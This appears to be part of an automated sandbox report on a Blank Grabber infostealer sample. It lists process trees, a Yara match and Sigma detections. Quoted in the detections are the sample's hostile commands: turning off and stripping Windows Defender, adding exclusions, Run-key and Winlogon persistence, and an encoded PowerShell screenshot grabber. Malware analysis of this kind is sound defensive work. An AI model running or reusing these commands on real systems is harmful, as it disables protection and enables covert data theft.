cmd.exe (PID: 8616 cmdline: C:\Windows\system32\cmd.exe /c "tree /A /F" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8628 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tree.com (PID: 8712 cmdline: tree /A /F MD5: 9EB969EF56718A6243BF60350CD065F0)

cmd.exe (PID: 8660 cmdline: C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8680 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

attrib.exe (PID: 8760 cmdline: attrib +r C:\Windows\System32\drivers\etc\hosts MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

cmd.exe (PID: 8784 cmdline: C:\Windows\system32\cmd.exe /c "tasklist /FO LIST" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8808 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 8920 cmdline: tasklist /FO LIST MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

cmd.exe (PID: 8796 cmdline: C:\Windows\system32\cmd.exe /c "tree /A /F" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8828 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 8288 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tree.com (PID: 8896 cmdline: tree /A /F MD5: 9EB969EF56718A6243BF60350CD065F0)

cmd.exe (PID: 8932 cmdline: C:\Windows\system32\cmd.exe /c "tree /A /F" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8956 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 7904 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tree.com (PID: 9004 cmdline: tree /A /F MD5: 9EB969EF56718A6243BF60350CD065F0)

cmd.exe (PID: 9020 cmdline: C:\Windows\system32\cmd.exe /c "getmac" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 9032 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

getmac.exe (PID: 9096 cmdline: getmac MD5: 7D4B72DFF5B8E98DD1351A401E402C33)

cmd.exe (PID: 9064 cmdline: C:\Windows\system32\cmd.exe /c "tree /A /F" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 9084 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tree.com (PID: 9148 cmdline: tree /A /F MD5: 9EB969EF56718A6243BF60350CD065F0)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\_MEI66162\rarreg.key	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security

Sigma Signatures

System Summary

Sigma detected: Files With System Process Name In Unsuspected Locations

Source: File created

Author: Sander Wiebing, Tim Shelton, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\agentInto\fontsessionruntime.exe, ProcessId: 7868, TargetFilename: C:\Recovery\fontdrvhost.exe

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: "C:\Users\Default\Application Data\Microsoft\Internet Explorer\Quick Launch\tasklist.exe", EventID: 13, EventType: SetValue, Image: C:\agentInto\fontsessionruntime.exe, ProcessId: 7868, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\tasklist

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\Built.exe'", CommandLine: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\Built.exe'", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\Built.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\Built.exe, ParentProcessId: 3288, ParentProcessName: Built.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\Built.exe'", ProcessId: 6220, ProcessName: cmd.exe

Sigma detected: Powershell Defender Disable Scan Feature

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All", CommandLine: C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\Built.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\Built.exe, ParentProcessId: 3288, ParentProcessName: Built.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All", ProcessId: 2484, ProcessName: cmd.exe

Sigma detected: Suspicious Encoded PowerShell Command Line

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, Jonhnathan Ribeiro, Daniil Yugoslavskiy, Anton Kutepov, oscd.community: Data: Command: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFM

Sigma detected: Suspicious PowerShell Encoded Command Patterns

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFM

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\Built.exe', CommandLine: powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\Built.exe', CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\Built.exe'", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6220, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\Built.exe', ProcessId: 7264, ProcessName: powershell.exe

Sigma detected: Suspicious Startup Folder Persistence

Source: File created

Author: Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Users\user\AppData\Local\Temp\Built.exe, ProcessId: 3288, TargetFilename: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFM

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: "C:\Windows\ShellComponents\tasklist.exe", EventID: 13, EventType: SetValue, Image: C:\agentInto\fontsessionruntime.exe, ProcessId: 7868, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\tasklist

Sigma detected: CurrentVersion NT Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: explorer.exe, "C:\Windows\ShellComponents\tasklist.exe", EventID: 13, EventType: SetValue, Image: C:\agentInto\fontsessionruntime.exe, ProcessId: 7868, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Source: Process started

Author: Florian Roth (Nextron Systems), X__Junior (Nextron Systems): Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\gkfhm5n3\gkfhm5n3.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\gkfhm5n3\gkfhm5n3.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMA